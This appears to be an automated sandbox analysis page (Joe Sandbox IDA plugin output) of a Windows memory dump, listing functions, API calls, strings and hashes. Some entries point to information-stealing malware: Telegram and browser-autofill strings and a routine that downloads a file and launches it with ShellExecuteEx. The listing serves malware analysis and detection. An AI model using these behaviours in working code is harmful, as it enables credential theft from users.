Opcode ID: c6547854e060c51d1d8e892789c99cd093f0203182d970252bd30428ecf87ba8
Instruction ID: 37057b46e81daf7ff3c1e8d259e304d1bab57a89971e03bb075cfd6f1b2cbe97
Opcode Fuzzy Hash: c6547854e060c51d1d8e892789c99cd093f0203182d970252bd30428ecf87ba8
Instruction Fuzzy Hash: A3E29A6244E7C45FE7178B704ABA251BF71AE1360071E85CFC4C18F8B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B674 Relevance: 5.7, Strings: 3, Instructions: 1977COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: f22b0dc2e48c8da5c2168fe04154a6042583b933e95e82a39268931413117b44
Instruction ID: aba7de8d7650a08ceb6b0836c2f282a2c6406803cae0ee710c86c6612daf2453
Opcode Fuzzy Hash: f22b0dc2e48c8da5c2168fe04154a6042583b933e95e82a39268931413117b44
Instruction Fuzzy Hash: 54E29A6244E7C45FE7178B704ABA251BF71AE1360071E85CFC4C18F8B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B6B0 Relevance: 5.7, Strings: 3, Instructions: 1956COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: b01f1d2a8a9c91fec85e614ce224b5dd2dfd73a134e6835b895aedee8627d803
Instruction ID: a6c29edb05e3b0066f5f0c830dac2560338eafc5f14dde3968f3bf2b85f2735c
Opcode Fuzzy Hash: b01f1d2a8a9c91fec85e614ce224b5dd2dfd73a134e6835b895aedee8627d803
Instruction Fuzzy Hash: 38E29A6244E7C45FE7178B704ABA651BF70AE1360071E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B6BC Relevance: 5.7, Strings: 3, Instructions: 1953COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: 005e50019ec31e306cc78e9fa3ed1c320303e96c895b4b088519124236222860
Instruction ID: a9e0ee05e38ab919480ce48e296b4f5eed5e49d3b50aa0a6bd88f6caeac8ff72
Opcode Fuzzy Hash: 005e50019ec31e306cc78e9fa3ed1c320303e96c895b4b088519124236222860
Instruction Fuzzy Hash: ECE29A6244E7C45FE7178B704ABA651BF70AE1360071E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00427730 Relevance: 4.6, APIs: 3, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00427785
_memmove.LIBCMT ref: 00427844
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,00427DF5,?,00000000,?,00004000,00000000), ref: 0042786A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memmove$FileWrite
String ID:
API String ID: 726942401-0
Opcode ID: 27696321135f9710807edcdc55b1fac3ae671aa3d1c975ee2c000b8b479f4803
Instruction ID: 00470505634b64d31e76b9d86843d8e6e6d74ea49ae1d287fea1002abe6fb432
Opcode Fuzzy Hash: 27696321135f9710807edcdc55b1fac3ae671aa3d1c975ee2c000b8b479f4803
Instruction Fuzzy Hash: 1F41F2717047149BC768DF29E981A67F7E9FF85310B94852FE88687B00D235F904CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004352B7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00035275), ref: 004352BC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0ce38019d0b831d2a9221a36cacf34fa2d78b459819577534a20a48540da8063
Instruction ID: a9f20937be7cf28506920523edd51d7f9189f723a5ba61c86372a1fcb814f01d
Opcode Fuzzy Hash: 0ce38019d0b831d2a9221a36cacf34fa2d78b459819577534a20a48540da8063
Instruction Fuzzy Hash: 7F9002A43D15805B4B1057719C0960666955A4E612F5114A6A155C4465DE5440C4591A

Uniqueness

Uniqueness Score: -1.00%

Function 00438768 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 575642cf4ae57ef4c8025a11c62f5fc2383facdbe93995d7cb434534ed397e79
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 56C181B3D0E6B3498776416E041823BEEA26F85B4072FD397ECD03F289D62BAD0595D4

Uniqueness

Uniqueness Score: -1.00%

Function 00438380 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 4a32672b513f495ae1709570d19aef7c03f241b8f9077bb6744bdcef89c909ee
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: D0C1A173D0E5B3468732462E041823FEE626F95B4172FA39BECD03F289D62BAD0195D4

Uniqueness

Uniqueness Score: -1.00%

Function 00427090 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c5c6b9c11ac4b236a62b7ba5de566d608f5617d0764e6d7086f5d2993526e06
Instruction ID: 4e676a13595c3eed620b82115622f3d4cb22ac32e1a2f640a5e92f705ad2e061
Opcode Fuzzy Hash: 8c5c6b9c11ac4b236a62b7ba5de566d608f5617d0764e6d7086f5d2993526e06
Instruction Fuzzy Hash: 8A218C33AB94BB02D7908B719C846323BD3EBCB205FAF81B5D64887643D23DE4039224

Uniqueness

Uniqueness Score: -1.00%

Function 004066A0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6445316a00d22be3755255c5416d97fe76825ee6de95d4f0a726644089575a
Instruction ID: d54d483ddd3edcc76c7b2f84bbe45a1952bce90035a4c6ac47086ce2bebed3dc
Opcode Fuzzy Hash: 2b6445316a00d22be3755255c5416d97fe76825ee6de95d4f0a726644089575a
Instruction Fuzzy Hash: E821AE339B44FB01D7059F719C0463637D2DBCB249FAF80B9D64887682EA3EE4129224

Uniqueness

Uniqueness Score: -1.00%

Function 004270B8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46272534577b872d19bc74935e24e226cfb5f0ecbb1584c4cac2deca4ba643e9
Instruction ID: 65b9503440698022fe8f0b35f959b07ebd0f68aec627d9703d53cb630818caef
Opcode Fuzzy Hash: 46272534577b872d19bc74935e24e226cfb5f0ecbb1584c4cac2deca4ba643e9
Instruction Fuzzy Hash: F5212C339B94B706D7914B719C446322BD3EBC7206F6F85B5C78497643D23EE0139125

Uniqueness

Uniqueness Score: -1.00%

Function 004066C8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2040bf985c9703098c3be2b06609dee2ea7caa3bffce3ba3aa7603eee855f772
Instruction ID: 3cebc616daff182dcce20ca16a07e3a6d6bc93ab3ce1ba8ef8e1067c075a1ea4
Opcode Fuzzy Hash: 2040bf985c9703098c3be2b06609dee2ea7caa3bffce3ba3aa7603eee855f772
Instruction Fuzzy Hash: F9216D338B84F701D7565B71AC0433627D3CBC728AFAF81B9C68487542EA3ED0139225

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0B0 Relevance: 51.2, APIs: 34, Instructions: 235stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040C0D9
_memset.LIBCMT ref: 0040C0EC
_memset.LIBCMT ref: 0040C0FF
_memset.LIBCMT ref: 0040C112
_memset.LIBCMT ref: 0040C125
_memset.LIBCMT ref: 0040C138
_memset.LIBCMT ref: 0040C14E
_memset.LIBCMT ref: 0040C161
_memset.LIBCMT ref: 0040C174
lstrcat.KERNEL32(?,04372398), ref: 0040C189
lstrcat.KERNEL32(?,043F6578), ref: 0040C19D
lstrcat.KERNEL32(?,043723C8), ref: 0040C1B1
lstrcat.KERNEL32(?,04372078), ref: 0040C1C4
lstrcat.KERNEL32(?,043F6500), ref: 0040C1D8
lstrcat.KERNEL32(?,?), ref: 0040C1E6
lstrcat.KERNEL32(?,00448A58), ref: 0040C1F8
lstrcat.KERNEL32(?,?), ref: 0040C20C
lstrcat.KERNEL32(?,00448A5C), ref: 0040C21E
lstrcat.KERNEL32(?,?), ref: 0040C232
lstrcat.KERNEL32(?,00448A60), ref: 0040C244
lstrcat.KERNEL32(?,?), ref: 0040C258
lstrcat.KERNEL32(?,?), ref: 0040C266
lstrcat.KERNEL32(?,00448A64), ref: 0040C278
lstrcat.KERNEL32(?,?), ref: 0040C28C
lstrcat.KERNEL32(?,00448A68), ref: 0040C29E
lstrcat.KERNEL32(?,?), ref: 0040C2B2
lstrcat.KERNEL32(?,?), ref: 0040C2C0
lstrcat.KERNEL32(?,00448A6C), ref: 0040C2D2
lstrcat.KERNEL32(?,?), ref: 0040C2E6
lstrcat.KERNEL32(?,00448A70), ref: 0040C2F8
lstrcat.KERNEL32(?,?), ref: 0040C30C
lstrcat.KERNEL32(?,?), ref: 0040C31A
lstrcat.KERNEL32(?,00448A74), ref: 0040C32C
lstrcat.KERNEL32(?,?), ref: 0040C340

Part of subcall function 00420DE0: GetFileAttributesA.KERNEL32(0040C358,?,0040C358,?), ref: 00420DE7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$AttributesFile
String ID:
API String ID: 1561027885-0
Opcode ID: 499f5bb407d42fd3bd8f81093ac9490831c0af24ec5b7138a184a76ac4fc50b2
Instruction ID: e4bcfa2dd2fb102a51630a884148343dbc7382132ded47c8d8eaa241c50ed68b
Opcode Fuzzy Hash: 499f5bb407d42fd3bd8f81093ac9490831c0af24ec5b7138a184a76ac4fc50b2
Instruction Fuzzy Hash: 739153729402199BCB15DB60DC89FDE777CAB48344F404ADAF609A7081EFB4A78C8F55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7B0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 181stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040B7F9
_strtok_s.LIBCMT ref: 0040B828
lstrlen.KERNEL32(00000000,?,?,?,1A5A77C2,?,00000000), ref: 0040B841
_memset.LIBCMT ref: 0040B85D
_memset.LIBCMT ref: 0040B86F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,1A5A77C2,?,00000000), ref: 0040B878
lstrcpy.KERNEL32(?,00000005), ref: 0040B8CB
StrCmpCA.SHLWAPI(?,open_,?,?,?,?,?,?,?,?,?,1A5A77C2,?,00000000), ref: 0040B8DD
lstrcat.KERNEL32(?,0253C408), ref: 0040B92B

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 0040B946
lstrcat.KERNEL32(?,04372208), ref: 0040B95A

Part of subcall function 004149C0: InternetOpenA.WININET(0044B541,00000001,00000000,00000000,00000000), ref: 004149FE
Part of subcall function 004149C0: StrCmpCA.SHLWAPI(00000000,https), ref: 00414A1D
Part of subcall function 004149C0: InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00414A5D
Part of subcall function 004149C0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00414A78
Part of subcall function 004149C0: StrCmpCA.SHLWAPI(?,200), ref: 00414A8E
Part of subcall function 004149C0: Sleep.KERNEL32(000003E8), ref: 00414A9D
Part of subcall function 004149C0: CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00414ACE
Part of subcall function 004149C0: InternetReadFile.WININET(00000000,?,00000400,?), ref: 00414AEA
Part of subcall function 004149C0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00414B10

_memset.LIBCMT ref: 0040B977
ShellExecuteEx.SHELL32(1A5A77C2), ref: 0040B9D2
_memset.LIBCMT ref: 0040B9E5
_memset.LIBCMT ref: 0040B9F7
_memset.LIBCMT ref: 0040BA09
_strtok_s.LIBCMT ref: 0040BA1D

Strings

open_, xrefs: 0040B8D1
open, xrefs: 0040B9A2
<, xrefs: 0040B98C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memset$FileInternetlstrcat$Open_strtok_slstrlen$CountCreateExecuteHttpInfoQueryReadShellSleepTickWrite_malloc_randlstrcpywsprintf
String ID: <$open$open_
API String ID: 1344290434-1839743063
Opcode ID: f79cd6c734c2745cf0e7fd65871291022afb4ac66bcdcdd76b7ce97d567df5a7
Instruction ID: 39fd23998e867bc92c58f91d736a3ad3ae276c170f6260eefd74acc499d2dd30
Opcode Fuzzy Hash: f79cd6c734c2745cf0e7fd65871291022afb4ac66bcdcdd76b7ce97d567df5a7
Instruction Fuzzy Hash: F571D2B1D002699BDB15DF61CC84EEEBB7CEB04304F4045EEE51967281DB789B888F95

Uniqueness

Uniqueness Score: -1.00%

Function 004271F0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,00000008,?,004295F5,?), ref: 004271F9
StrCmpCA.SHLWAPI(00000008,0044CD9C,?,004295F5,?), ref: 00427225
StrCmpCA.SHLWAPI(00000008,.zip,?,004295F5,?), ref: 0042723B
StrCmpCA.SHLWAPI(00000008,.zoo,?,004295F5,?), ref: 0042724B
StrCmpCA.SHLWAPI(00000008,.arc,?,004295F5,?), ref: 0042725B
StrCmpCA.SHLWAPI(00000008,.lzh,?,004295F5,?), ref: 0042726B
StrCmpCA.SHLWAPI(00000008,.arj,?,004295F5,?), ref: 0042727B
StrCmpCA.SHLWAPI(00000008,.gz,?,004295F5,?), ref: 0042728B
StrCmpCA.SHLWAPI(00000008,.tgz,?,004295F5,?), ref: 0042729B

Strings

.zip, xrefs: 00427235
.lzh, xrefs: 00427265
.zoo, xrefs: 00427245
.tgz, xrefs: 00427295
.gz, xrefs: 00427285
.arc, xrefs: 00427255
.arj, xrefs: 00427275

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 569f021dea198686991e92b47cefd4dacfdfdbe332ba63b69e8341a626cfdcf4
Instruction ID: b4c589c89e24b0a0ad23347c9669ae83d6067cc52cc59c74abf6566fd9c65a8e
Opcode Fuzzy Hash: 569f021dea198686991e92b47cefd4dacfdfdbe332ba63b69e8341a626cfdcf4
Instruction Fuzzy Hash: 47113B313C8230AAA7211B647C08F9F7758AE53F5134804ABF508E1140EFECC4C581BE

Uniqueness

Uniqueness Score: -1.00%

Function 004167C0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 138stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004167F6
lstrcat.KERNEL32(?,0253C408), ref: 0041680C

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 00416827
CopyFileA.KERNEL32(?,?,00000001), ref: 00416837
_memset.LIBCMT ref: 0041684B
wsprintfA.USER32 ref: 0041685E
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004168B2
HeapAlloc.KERNEL32(00000000), ref: 004168B9
lstrcat.KERNEL32(00000000,00000000), ref: 004168FD
lstrcat.KERNEL32(00000000,0044B924), ref: 00416909
lstrcat.KERNEL32(00000000,00000000), ref: 00416911
lstrcat.KERNEL32(00000000,0044B928), ref: 0041691D
lstrlen.KERNEL32(00000000), ref: 00416939
DeleteFileA.KERNEL32(?), ref: 0041697B

Strings

\Autofill\%s_%s.txt, xrefs: 00416858

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memsetwsprintf$AllocCopyCountDeleteProcessTick_malloc_randlstrlen
String ID: \Autofill\%s_%s.txt
API String ID: 3976021866-3770965036
Opcode ID: dee307bb0b305794e96d1a1b5b68262a4a66ae2b286cce18f3886a4239d19655
Instruction ID: c3ad91c3282e738855fdde258ecb5fef38384fa7b65249dcddb25a5507469a33
Opcode Fuzzy Hash: dee307bb0b305794e96d1a1b5b68262a4a66ae2b286cce18f3886a4239d19655
Instruction Fuzzy Hash: 5B419BB5940218ABCB10DF64EC8DEDA7778EF58305F0049A9F609D3151EAB4DA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00427330 Relevance: 18.2, APIs: 12, Instructions: 213fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,0040ABE2,?), ref: 0042735F
GetFileSize.KERNEL32(?,00000000,?), ref: 004273D4
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 004273ED
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 00427400
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0042740D
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00427420
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00427442
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00427455

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 1006ed9b7873f63c967cb476367a5fab45e5555ef5165e8388deaeba7de39fb3
Instruction ID: 55f2b51349b6b965709c28e1e145bf7ebc70ea04c735737ef43e1e32c383ef4b
Opcode Fuzzy Hash: 1006ed9b7873f63c967cb476367a5fab45e5555ef5165e8388deaeba7de39fb3
Instruction Fuzzy Hash: AF71C771B042149FEB14DF98DC85BAEBBB5FF84704F54412AE905EB380D7B4A901CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004053E0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405444
std::_Xinvalid_argument.LIBCPMT ref: 0040545A
std::_Xinvalid_argument.LIBCPMT ref: 00405474
_memmove.LIBCMT ref: 004054DF
_memmove.LIBCMT ref: 004054FE

Strings

string too long, xrefs: 00405298, 004052B6, 00405455, 0040546F
invalid string position, xrefs: 004053C7, 0040543F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 2168136238-4289949731
Opcode ID: 9f57a968ce8a3f1b05e095714d1d74ee03c54655ebe8e2563928668ba763c7f8
Instruction ID: 8b5f8824846fc86f1feb70058ea9ef338c418020fc18e13ec4abd456e602505e
Opcode Fuzzy Hash: 9f57a968ce8a3f1b05e095714d1d74ee03c54655ebe8e2563928668ba763c7f8
Instruction Fuzzy Hash: CA41F832300A109BDB24DE5CE980EAFF3A6EBD1711760493FE551D76C1C778AC818B99

Uniqueness

Uniqueness Score: -1.00%

Function 00422030 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0042205D
std::_Lockit::_Lockit.LIBCPMT ref: 00422080
std::bad_exception::bad_exception.LIBCMT ref: 00422104
__CxxThrowException@8.LIBCMT ref: 00422112
std::_Lockit::_Lockit.LIBCPMT ref: 00422125
std::locale::facet::_Facet_Register.LIBCPMT ref: 0042213F

Strings

bad cast, xrefs: 004220FC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 5381e959e7d710e2d56e406401b164ac978c18b04bfd7c1286159393a437bc30
Instruction ID: f895726167e55090a12fffe1f36862ff6b7d7c1b16235262ac58ac7057d37286
Opcode Fuzzy Hash: 5381e959e7d710e2d56e406401b164ac978c18b04bfd7c1286159393a437bc30
Instruction Fuzzy Hash: 8E31D631A00224DFCB14DF50E941BAE7374FB14324F90026FE915A7391DBBA6D45CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004223B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004223DD
std::_Lockit::_Lockit.LIBCPMT ref: 00422400
std::bad_exception::bad_exception.LIBCMT ref: 00422484
__CxxThrowException@8.LIBCMT ref: 00422492
std::_Lockit::_Lockit.LIBCPMT ref: 004224A5
std::locale::facet::_Facet_Register.LIBCPMT ref: 004224BF

Strings

bad cast, xrefs: 0042247C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: af9e8698922801afd17005e7bc4b5bf8db5777f8375cf08331c553d77305a8b0
